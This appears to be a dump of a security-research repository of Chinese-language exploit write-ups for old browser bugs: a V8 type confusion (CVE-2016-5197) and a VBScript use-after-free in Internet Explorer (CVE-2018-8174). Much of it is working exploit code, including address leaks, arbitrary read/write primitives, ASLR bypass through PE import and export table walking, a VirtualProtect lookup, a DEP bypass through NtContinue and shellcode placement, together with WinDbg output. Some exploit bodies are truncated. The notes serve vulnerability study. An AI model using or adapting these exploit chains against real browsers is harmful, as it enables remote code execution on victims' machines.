![](CVE-2016-5197/CVE-2016-51970.png) 15 | 16 | ## 漏洞分析 17 | ``` 18 | var n; 19 | function Ctor() { 20 | n = new Set(); 21 | } 22 | function Check() { 23 | n.xyz = 0x826852f4; 24 | } 25 | Ctor(); 26 | Ctor(); 27 | %OptimizeFunctionOnNextCall(Ctor); 28 | Ctor(); 29 | Check(); 30 | Check(); 31 | %OptimizeFunctionOnNextCall(Check); 32 | Check(); 33 | 34 | Ctor(); 35 | %DebugPrint(n); 36 | Math.atan(1); 37 | Check(); 38 | %DebugPrint(n); 39 | Math.atan(1); 40 | parseInt('AAAAAAAA'); 41 | ``` 42 | 43 | ![](CVE-2016-5197/CVE-2016-51971.png) 44 | 45 | ![](CVE-2016-5197/CVE-2016-51972.png) 46 | 47 | 48 | ## 漏洞利用 49 | 50 | ### Leak ArrayBuffer ab地址，function evil_fun地址 51 | ab是后续存shellcode的，evil_fun是一个自定义函数，我们希望修改function的CodeEntry为shellcode地址，从而控制EIP 52 | 53 | ``` 54 | function evil_fun(a, b) { 55 | return a + b; 56 | } 57 | 58 | function Check(obj) { 59 | n.xyz = 3.4766863919152113e-308; // do not modify string map 60 | n.xyz1 = 0x0; // do not modify the value 61 | n.xyz2 = 0x7000; // enlarge length of builtIn string 'null' 62 | n.xyz3 = obj; // leak the Object 63 | 64 | } 65 | Check(String(null)); 66 | Check(String(null)); 67 | %OptimizeFunctionOnNextCall(Check); 68 | Check(String(null)); 69 | 70 | Ctor(); 71 | Check(ab); 72 | ab_addr = read_value(); 73 | print("ArrayBuffer: " + ab_addr.toString(16)); 74 | 75 | Check(evil_fun); 76 | var evil_fun_addr = read_value(); 77 | print("evil_fun: " + evil_fun_addr.toString(16)); 78 | ``` 79 | 80 | ![](CVE-2016-5197/CVE-2016-51973.png) 81 | 82 | ![](CVE-2016-5197/CVE-2016-51974.png) 83 | 84 | ### 将null string的地址写到其value处 85 | 86 | ``` 87 | Check(String(null)); 88 | null_string_addr = read_value(); 89 | print("null string: " + null_string_addr.toString(16)); 90 | ``` 91 | 92 | ![](CVE-2016-5197/CVE-2016-51975.png) 93 | 94 | ### 修改null string hashcode处为ab length的地址 95 | 现在如果对xyz3赋值一个un-smi数, 它会把null_string_addr作为一个指针，实际操作的是null_string_addr指向的内存 96 | 97 | 这里需要重新触发漏洞，我理解是之前n.xyz3赋值都是直接赋值，现在需要间接赋值，两者生成的优化后JIT Code不一样 98 | ``` 99 | ab_len_addr = decode_from_float64(get_arraybuffer_length_addr(ab_addr)); 100 | function Check2(addr){ 101 | m.xyz = 3.4766863919152113e-308; 102 | m.xyz1 = 0x0; 103 | m.xyz2 = 0x7000; 104 | m.xyz3 = addr; 105 | 106 | } 107 | Check2(ab_len_addr); 108 | Check2(ab_len_addr); 109 | %OptimizeFunctionOnNextCall(Check2); 110 | Check2(ab_len_addr); 111 | 112 | Ctor(); 113 | Check2(ab_len_addr); 114 | ``` 115 | 116 | ![](CVE-2016-5197/CVE-2016-51976.png) 117 | 118 | ### 修改ab的backing store地址为evil_func地址 119 | 120 | 经过上面一步，ab_len_addr位于null string hashcode处，对xy1赋值会把ab_len_addr当作一个指针，实际会写入[ab_len_addr+8],也就修改了ab的backing store地址 121 | 122 | 同理，这里也需要重新触发漏洞 123 | 124 | ``` 125 | var temp = decode_from_float64(evil_fun_addr - 1); 126 | function Check3(addr){ 127 | l.xyz = 3.4766863919152113e-308; 128 | l.xyz1 = addr; 129 | } 130 | 131 | Check3(temp); 132 | Check3(temp); 133 | %OptimizeFunctionOnNextCall(Check3); 134 | Check3(temp); 135 | ``` 136 | 137 | ![](CVE-2016-5197/CVE-2016-51977.png) 138 | 139 | 到了这一步，操作ab就等于操作evil_func! 通过ab，我们能读到evil_func的CodeEntry(第7个指针) 140 | 141 | ``` 142 | function get_codeEntry() { 143 | if(platform == "x86") { 144 | f64 = new Uint32Array(ab); 145 | return decode_from_float64(f64[7]); 146 | } 147 | else { 148 | f64 = new Float64Array(ab); 149 | return f64[7]; 150 | } 151 | 152 | } 153 | Ctor(); 154 | Check3(temp); 155 | var shellcode_entry = get_codeEntry(); 156 | ``` 157 | 158 | ### 修改ab的backing store地址为shellcode_entry 159 | ``` 160 | Check3(shellcode_entry); 161 | ``` 162 | 163 | 164 | ### 写入shellcode, call evil_func 165 | 通过上一步，操作ab就是修改evil_func的JIT Code; 我们将shellcode写入，再call evil_func 166 | 167 | ``` 168 | var shellcode = new Uint8Array(ab); 169 | for (var i=0, strLen=shellcode_str.length; i 80 | 436 | 437 | ``` 438 | 439 | 440 | ![](CVE-2017-5070/CVE-2017-50704.png) -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2017-5070/CVE-2017-50700.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2017-5070/CVE-2017-50700.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2017-5070/CVE-2017-50701.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2017-5070/CVE-2017-50701.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2017-5070/CVE-2017-50702.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2017-5070/CVE-2017-50702.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2017-5070/CVE-2017-50703.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2017-5070/CVE-2017-50703.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2017-5070/CVE-2017-50704.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2017-5070/CVE-2017-50704.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174.md: -------------------------------------------------------------------------------- 1 | # UAF分析 2 | 3 | 0. flow chart 4 | 5 | ![](CVE-2018-8174/CVE-2018-817429.png) 6 | 7 | 1. Crash POC 8 | ``` 9 | 10 | 11 | 38 | 39 | 40 | 41 | ``` 42 | 43 | ``` 44 | C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /i iexplore.exe +h 45 | pa 46 | Current Registry Settings for iexplore.exe executable are: 02000000 47 | hpa - Enable page heap 48 | ``` 49 | 50 | ![](CVE-2018-8174/CVE-2018-81740.png) 51 | 52 | 加log IsEmpty()，辅助分析 53 | 54 | ``` 55 | 56 | 57 | 87 | 88 | 89 | 90 | ``` 91 | 92 | ![](CVE-2018-8174/CVE-2018-81741.png) 93 | 94 | ![](CVE-2018-8174/CVE-2018-817427.png) 95 | 96 | 到这里可以看到，array_a(1)已经指向Trigger对象，继续调试。(调到这里的时候windb hang住了，只好杀了重新调试，新的array_a 地址是 0x081affe8) 97 | 98 | ![](CVE-2018-8174/CVE-2018-81742.png) 99 | 100 | 执行到第三个IsEmpty，这时候array_a和Trigger object 已经释放，array_b中还保存着对Trigger object 的引用。 101 | 随后 array_b(0) = 0访问了被释放的内存，从而触发UAF 漏洞 102 | 103 | ![](CVE-2018-8174/CVE-2018-81744.png) 104 | 105 | ![](CVE-2018-8174/CVE-2018-81745.png) 106 | 107 | 显然，当 array_b 还引用Trigger Object的时候，Trigger Object却随着 Erase array_a被释放了。我们来看看是哪里发生了错误。 108 | 109 | ![](CVE-2018-8174/CVE-2018-81746.png) 110 | 111 | 看过伪代码后，通过调试进一步验证猜测 112 | 113 | ``` 114 | 0:004> bl 115 | 0 e 6b1e343d 0001 (0001) 0:**** vbscript!VbsErase 116 | 1 e 6b1a5f1c 0001 (0001) 0:**** vbscript!VBScriptClass::Release 117 | 2 e 6b1a583e 0001 (0001) 0:**** vbscript!VbsIsEmpty 118 | ``` 119 | 进入到 vbscript!VBScriptClass::Release 把上述断点disable掉，否则单步调试会断在我们不期望的地方 120 | 121 | ![](CVE-2018-8174/CVE-2018-81747.png) 122 | 123 | ![](CVE-2018-8174/CVE-2018-81748.png) 124 | 125 | ![](CVE-2018-8174/CVE-2018-81749.png) 126 | 127 | 2. 漏洞利用（pop up calc.exe） 128 | ``` 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 503 | 504 | 505 | 506 | ``` 507 | 508 | 以下要关掉PageHeap再调试 509 | + 先粗略看下VBScript中Class 结构 510 | ``` 511 | 512 | 513 | 533 | 534 | 535 | 536 | ``` 537 | 538 | ![](CVE-2018-8174/CVE-2018-817410.png) 539 | 540 | ![](CVE-2018-8174/CVE-2018-817411.png) 541 | 542 | + UAF 543 | 544 | ![](CVE-2018-8174/CVE-2018-817412.png) 545 | 546 | ![](CVE-2018-8174/CVE-2018-817413.png) 547 | 548 | ![](CVE-2018-8174/CVE-2018-817414.png) 549 | 550 | ![](CVE-2018-8174/CVE-2018-817415.png) 551 | 552 | ![](CVE-2018-8174/CVE-2018-817428.png) 553 | 554 | + InitObjects 555 | 556 | ![](CVE-2018-8174/CVE-2018-817416.png) 557 | 558 | 执行前： 559 | 560 | ![](CVE-2018-8174/CVE-2018-817417.png) 561 | 562 | 执行中： 563 | 564 | ![](CVE-2018-8174/CVE-2018-817418.png) 565 | 566 | ![](CVE-2018-8174/CVE-2018-817419.png) 567 | 568 | ![](CVE-2018-8174/CVE-2018-817420.png) 569 | 570 | ![](CVE-2018-8174/CVE-2018-817421.png) 571 | 572 | 573 | 同理， 574 | 575 | ![](CVE-2018-8174/CVE-2018-817422.png) 576 | 577 | + Leak CScriptEntryPointObject Address 578 | 579 | ![](CVE-2018-8174/CVE-2018-817423.png) 580 | 581 | ![](CVE-2018-8174/CVE-2018-817424.png) 582 | 583 | ![](CVE-2018-8174/CVE-2018-817425.png) 584 | 585 | ![](CVE-2018-8174/CVE-2018-817426.png) 586 | 587 | 拿到CscriptEntry 对象地址后，要想办法拿到类的虚表指针，其实也就是 [vb_addr] 588 | 589 | 这里用到的一个基础知识点是，string的length是放在string 对象的前4个字节的。 这里就不对此展开了。 590 | 591 | ``` 592 | Function GetUint32(lIII) 593 | Dim value 594 | cla4_obj1.mem(spec_int_1+8)=lIII+4 595 | cla4_obj1.mem(spec_int_1)=8 'type string 596 | value=cla4_obj1.P0123456789 597 | cla4_obj1.mem(spec_int_1)=2 598 | GetUint32=value 599 | End Function 600 | ``` 601 | 602 | 603 | 604 | # Bypass ALSR 605 | 606 | 拿CVE-2018-8174 中的代码片段为例，大致学习了PE结构、以及如何利用该结构bypass ALSR 607 | 608 | 参考： 609 | 610 | https://blog.csdn.net/Apollon_krj/article/details/77069342 611 | 612 | http://www.cnblogs.com/SkyMouse/archive/2012/05/10/2493725.html 613 | 614 | https://blog.csdn.net/Apollon_krj/article/details/77337333 615 | 616 | https://blog.csdn.net/evi10r/article/details/7216467 617 | 618 | 1. 拿到vbs对象虚表指针后，如何得到vbscript.dll的地址？ 619 | ``` 620 | Function GetBaseByDOSmodeSearch(IllIll) 621 | Dim llIl 622 | llIl=IllIll And &hffff0000 623 | Do While GetUint32(llIl+(104))<>544106784 Or GetUint32(llIl+(108))<>542330692 624 | llIl=llIl-65536 625 | Loop 626 | GetBaseByDOSmodeSearch=llIl 627 | End Function 628 | 629 | vbs_base=GetBaseByDOSmodeSearch(vt_adrr) 630 | ``` 631 | 632 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR0.png) 633 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR1.png) 634 | 635 | 可以看到PE头部其实有很多偏移固定的值，比如MZ头、“DOS Mode”等等， 拿到vbscript中一个对象的虚表地址之后，即可向低地址遍历，寻找固定偏移的值，从而确定vbscript.dll的地址。 636 | 637 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR2.png) 638 | 639 | 2. 根据vbscipt.dll， 如何得到系统dll基址？ 依据导入表信息！ 640 | ``` 641 | Function StrCompWrapper(lIII,llIlIl) 642 | Dim lIIlI,IIIl 643 | lIIlI="" 644 | For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835) 645 | lIIlI=lIIlI &Chr(lllII(lIII+IIIl)) 646 | Next 647 | StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl)) 648 | End Function 649 | Function GetBaseFromImport(base_address,name_input) 650 | Dim import_rva,nt_header,descriptor,import_dir 651 | Dim IIIIII 652 | nt_header=GetUint32(base_address+(&h3c)) 653 | IsEmpty(nt_header) 654 | import_rva=GetUint32(base_address+nt_header+&h80) 655 | IsEmpty(import_rva) 656 | import_dir=base_address+import_rva 657 | IsEmpty(import_dir) 658 | descriptor=0 659 | Do While True 660 | Dim Name 661 | Name=GetUint32(import_dir+descriptor*(&h14)+&hc) 662 | If Name=0 Then 663 | GetBaseFromImport=&hBAAD0000 664 | Exit Function 665 | Else 666 | If StrCompWrapper(base_address+Name,name_input)=0 Then 667 | Exit Do 668 | End If 669 | End If 670 | descriptor=descriptor+1 671 | Loop 672 | IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10) 673 | GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII)) 674 | End Function 675 | msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll") 676 | ``` 677 | 678 | PE头的最后一部分是PE文件可选头，最后0x80大小的结构体成员就描述了dll的各种数据表信息 679 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR5.png) 680 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR4.png) 681 | 682 | 根据上述描述，我们能确定导入表RVA相对PE header的偏移为0x80 683 | 684 | 而导入表的内容则是多个大小为0x14字节的_IMAGE_IMPORT_DESCRIPTOR组成，每个_IMAGE_IMPORT_DESCRIPTOR 对应一个dll 685 | 686 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR7.png) 687 | 688 | 关注一下_IMAGE_IMPORT_DESCRIPTOR中的Name和FirstThunk字段，即可轻松获取dll名字及其导出函数地址。得到函数地址，也就能确定dll基址了。 689 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR6.png) 690 | 691 | 以下调试过程即对应上述寻找思路 692 | ``` 693 | 0:004> dd vbscript 694 | 6ae60000 00905a4d 00000003 00000004 0000ffff 695 | 6ae60010 000000b8 00000000 00000040 00000000 696 | 6ae60020 00000000 00000000 00000000 00000000 697 | 6ae60030 00000000 00000000 00000000 000000f0 偏移0x3c处，是PE头RVA 698 | 6ae60040 0eba1f0e cd09b400 4c01b821 685421cd 699 | 6ae60050 70207369 72676f72 63206d61 6f6e6e61 700 | 6ae60060 65622074 6e757220 206e6920 20534f44 701 | 6ae60070 65646f6d 0a0d0d2e 00000024 00000000 702 | 0:004> dd vbscript+000000f0 703 | 6ae600f0 00004550 0004014c 55b000b4 00000000 704 | 6ae60100 00000000 210200e0 000a010b 00056800 705 | 6ae60110 00010400 00000000 000013e5 00001000 706 | 6ae60120 00055000 6ae60000 00001000 00000200 707 | 6ae60130 00010006 00010006 00000006 00000000 708 | 6ae60140 0006a000 00000400 0007180f 01400002 709 | 6ae60150 00040000 00001000 00100000 00001000 710 | 6ae60160 00000000 00000010 000023fc 000000a5 711 | 0:004> dd 6ae600f0+0x80 导入表地址 712 | 6ae60170 00056890 00000064 0005d000 00008870 713 | 6ae60180 00000000 00000000 00000000 00000000 714 | 6ae60190 00066000 000034f0 00057628 00000038 715 | 6ae601a0 00000000 00000000 00000000 00000000 716 | 6ae601b0 00000000 00000000 00038220 00000040 717 | 6ae601c0 00000000 00000000 00001000 00000330 718 | 6ae601d0 000565cc 00000080 00000000 00000000 719 | 6ae601e0 00000000 00000000 7865742e 00000074 720 | 0:004> dd vbscript+00056890 721 | 6aeb6890 0005692c 00000000 00000000 00056920 722 | 6aeb68a0 00001000 00056a38 00000000 00000000 723 | 6aeb68b0 00056910 0000110c 00056ad4 00000000 724 | 6aeb68c0 00000000 00056900 000011a8 00056bf8 导入表内容，每0x14个字节为一个_IMAGE_IMPORT_DESCRIPTOR结构 725 | 6aeb68d0 00000000 00000000 000568f4 000012cc 726 | 6aeb68e0 00000000 00000000 00000000 00000000 727 | 6aeb68f0 00000000 52455355 642e3233 90006c6c 728 | 6aeb6900 4e52454b 32334c45 6c6c642e 90909000 729 | 0:004> da vbscript+00056920 _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x10是导入dll name的RVA 730 | 6aeb6920 "msvcrt.dll" 731 | 0:004> dd vbscript+00001000 _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x14指向IAT中导出函数 732 | 6ae61000 75f50d4d 75f4a5b8 75f4f95f 75f4ecf8 733 | 6ae61010 75f511e5 75f49ba1 75f4fab0 75f4ad52 734 | 6ae61020 75f4dbe0 75f5141b 75f4d9da 75f9e091 735 | 6ae61030 75f4f7fa 75f49e3a 75f50b89 75f4bfd9 736 | 6ae61040 75f4dbae 75f4f574 75f4e344 75f5012e 737 | 6ae61050 75f509e4 75f54b72 75fa6ea9 75f651da 738 | 6ae61060 75f4edef 75f4aa61 75f4c24b 75f49e5a 739 | 6ae61070 75f4b0c9 75f4fbab 75f4ff45 75f57551 740 | ``` 741 | 742 | 743 | 3. 如何Leak VirturalProtect 地址，为bypass dep做准备？ 744 | ``` 745 | Function IllIIl(lIII) 746 | IllIIl=GetUint32(lIII) And (131071-65536) 747 | End Function 748 | 749 | Function GetProcAddr(dll_base,name) 750 | Dim p,export_dir,index 751 | Dim function_rvas,function_names,function_ordin 752 | Dim Illlll 753 | p=GetUint32(dll_base+&h3c) 'PE头RVA 754 | p=GetUint32(dll_base+p+&h78) '导出表RVA 755 | export_dir=dll_base+p 756 | 757 | function_rvas=dll_base+GetUint32(export_dir+&h1c) '导出函数地址表RVA 758 | function_names=dll_base+GetUint32(export_dir+&h20) '导出函数名称表RVA 759 | function_ordin=dll_base+GetUint32(export_dir+&h24) '导出函数序号表RVA 760 | index=0 761 | Do While True '遍历函数名称表，找到对应函数index 762 | Dim lllI 763 | lllI=GetUint32(function_names+index*4) 764 | If StrCompWrapper(dll_base+lllI,name)=0 Then 765 | Exit Do 766 | End If 767 | index=index+1 768 | Loop 769 | Illlll=IllIIl(function_ordin+index*2) '根据index，在导出序号表中查找函数地址序号，作为下一步查找函数地址表的索引 770 | p=GetUint32(function_rvas+Illlll*4) '有了序号，即可定位函数地址RVA 771 | GetProcAddr=dll_base+p 772 | End Function 773 | 774 | VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect") 775 | ``` 776 | 777 | 导出表相对PE header的偏移为0x78，它的内部结构了解一下： 778 | 779 | ``` 780 | 导出表0x28字节 781 | 782 | typedef struct _IMAGE_EXPORT_DIRECTORY { 783 | DWORD Characteristics; //未使用 784 | DWORD TimeDateStamp; //时间戳 785 | WORD MajorVersion; //未使用 786 | WORD MinorVersion; //未使用 787 | DWORD Name; //指向该导出表文件名字符串 788 | DWORD Base; //导出表的起始序号 789 | DWORD NumberOfFunctions; //导出函数的个数(更准确来说是AddressOfFunctions的元素数，而不是函数个数) 790 | DWORD NumberOfNames; //以函数名字导出的函数个数 791 | DWORD AddressOfFunctions; //偏移0x1c, 导出函数地址表RVA:存储所有导出函数地址(表元素宽度为4，总大小NumberOfFunctions * 4) 792 | DWORD AddressOfNames; //偏移0x20, 导出函数名称表RVA:存储函数名字符串所在的地址(表元素宽度为4，总大小为NumberOfNames * 4) 793 | DWORD AddressOfNameOrdinals; //偏移0x24, 导出函数序号表RVA:存储函数序号(表元素宽度为2，总大小为NumberOfNames * 2) 794 | } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; 795 | 796 | 地址表可能大于等于名字表，也有可能小于名字表，因为一个函数可能没有名字，也可能有多个名字。 797 | 但是一般情况下，名字表均不会大于地址表。并且一个函数必然有地址，不一定有名字，名字表和序号表一一对应。 798 | ``` 799 | 800 | 重点关注_IMAGE_EXPORT_DIRECTORY 最后三个Address，它们的关系如下所示 801 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR12.png) 802 | 803 | windbg调试过程如下： 804 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR9.png) 805 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR10.png) 806 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassALSR11.png) 807 | 808 | 809 | 810 | # bypass DEP with NtContinue 811 | 参考： 812 | https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf 813 | https://www.youtube.com/watch?v=_z647GBTSlk 814 | 815 | 816 | 调试分析Leak基址后如何控制EIP, 执行shellcode 817 | 818 | 1. 执行shellcode前，有几个关键地址，我们先记下来 819 | ``` 820 | shellcode address: 054e002c 821 | spec_int_1 002a68b4 822 | 823 | Addr_wrap_sh_with_ntcontinue 824 | 0:005> dd 050d1000 825 | 050d1000 054e002c 054e002c 00003000 00000040 826 | 050d1010 054e0024 42424242 42424242 42424242 827 | 050d1020 68000000 6877a055 6877a055 6877a055 828 | 050d1030 0077a055 41414141 41414141 41414141 829 | 050d1040 41414141 41414141 41414141 41414141 830 | 050d1050 41414141 41414141 41414141 41414141 831 | 050d1060 41414141 41414141 41414141 41414141 832 | 050d1070 41414141 41414141 41414141 41414141 833 | 834 | Addr_expand_with_virtualprotect 835 | 0:005> dd 002e2f64 836 | 002e2f64 050d1023 00410041 00410041 00410041 837 | 002e2f74 00410041 00410041 00410041 00410041 838 | 002e2f84 00410041 00410041 00410041 00410041 839 | 002e2f94 00410041 00410041 00410041 00410041 840 | 002e2fa4 00410041 00410041 00410041 00410041 841 | 002e2fb4 00410041 00410041 00410041 00410041 842 | 002e2fc4 00410041 00410041 00410041 00410041 843 | 002e2fd4 00410041 00410041 00410041 00410041 844 | 845 | ``` 846 | 847 | 2. 开始分析ExecuteShellcode 函数 848 | ``` 849 | Sub ExecuteShellcode 850 | cla4_obj1.mem(spec_int_1)=&h4d 'DEP bypass 851 | IsEmpty("set fake type 4d") 852 | 853 | cla4_obj1.mem(spec_int_1+8)=0 '触发shellcode 854 | msgbox(spec_int_1) 'VT replaced 855 | End Sub 856 | ``` 857 | 858 | cla4_obj1.mem(spec_int_1)=&h4d，则直接改变了cla4_obj1.mem(spec_int_1+8)的类型字段 859 | 860 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP0.png) 861 | 862 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP1.png) 863 | 864 | cla4_obj1.mem(spec_int_1+8)出存放的是Addr_expand_with_virtualprotect 865 | 866 | cla4_obj1.mem(spec_int_1+8) = 0, 则会释放cla4_obj1.mem(spec_int_1+8)对象 867 | 868 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP2.png) 869 | 870 | 3. 为什么fake type是0x4d? 为什么能成功call NtContinue? 871 | ``` 872 | 0:005> ba e1 77a05568 -> 对NtContinue设断点 873 | ``` 874 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP3.png) 875 | 876 | 回到调用之前，对Var::Clear 设断点，深入分析 877 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP4.png) 878 | 879 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP5.png) 880 | 881 | 4. Call NtContinue的目的是？ 882 | 883 | 普及一下NtContinue 函数 884 | ``` 885 | 886 | NtContinue( 887 | IN PCONTEXT ThreadContext, 888 | IN BOOLEAN RaiseAlert ); 889 | You can use NtContinue after processing exception for continue executing thread. 890 | 891 | typedef struct _CONTEXT 892 | { 893 | ULONG ContextFlags; 894 | ULONG Dr0; 895 | ULONG Dr1; 896 | ULONG Dr2; 897 | ULONG Dr3; 898 | ULONG Dr6; 899 | ULONG Dr7; 900 | FLOATING_SAVE_AREA FloatSave; 901 | ULONG SegGs; 902 | ULONG SegFs; 903 | ULONG SegEs; 904 | ULONG SegDs; 905 | ULONG Edi; 906 | ULONG Esi; 907 | ULONG Ebx; 908 | ULONG Edx; 909 | ULONG Ecx; 910 | ULONG Eax; 911 | ULONG Ebp; 912 | ULONG Eip; --> EIP，偏移B8字节 913 | ULONG SegCs; 914 | ULONG EFlags; 915 | ULONG Esp; --> ESP，偏移C4字节 916 | ULONG SegSs; 917 | UCHAR ExtendedRegisters[512]; 918 | } CONTEXT, *PCONTEXT; 919 | 920 | 921 | ``` 922 | 923 | 简单来说，使用NtContinue可以让程序回到第一个参数指定的线程上下文中。 924 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP6.png) 925 | 926 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP7.png) 927 | 928 | ``` 929 | 0:005> !address 054e002c 930 | Failed to map Heaps (error 80004005) 931 | Usage: 932 | Allocation Base: 054e0000 933 | Base Address: 054e0000 934 | End Address: 05561000 935 | Region Size: 00081000 936 | Type: 00020000 MEM_PRIVATE 937 | State: 00001000 MEM_COMMIT 938 | Protect: 00000004 PAGE_READWRITE 939 | 940 | 0:005> !address 054e002c 941 | Failed to map Heaps (error 80004005) 942 | Usage: 943 | Allocation Base: 054e0000 944 | Base Address: 054e0000 945 | End Address: 054e4000 946 | Region Size: 00004000 947 | Type: 00020000 MEM_PRIVATE 948 | State: 00001000 MEM_COMMIT 949 | Protect: 00000040 PAGE_EXECUTE_READWRITE 950 | ``` 951 | 952 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP8.png) 953 | 954 | ![](CVE-2018-8174/[VulnerabilityExploit]BypassDEP9.png) 955 | -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81740.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81740.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81741.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81741.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817410.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817410.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817411.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817411.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817412.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817412.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817413.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817413.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817414.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817414.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817415.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817415.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817416.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817416.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817417.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817417.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817418.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817418.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817419.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817419.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81742.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81742.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817420.png: -------------------------------------------------------------------------------- 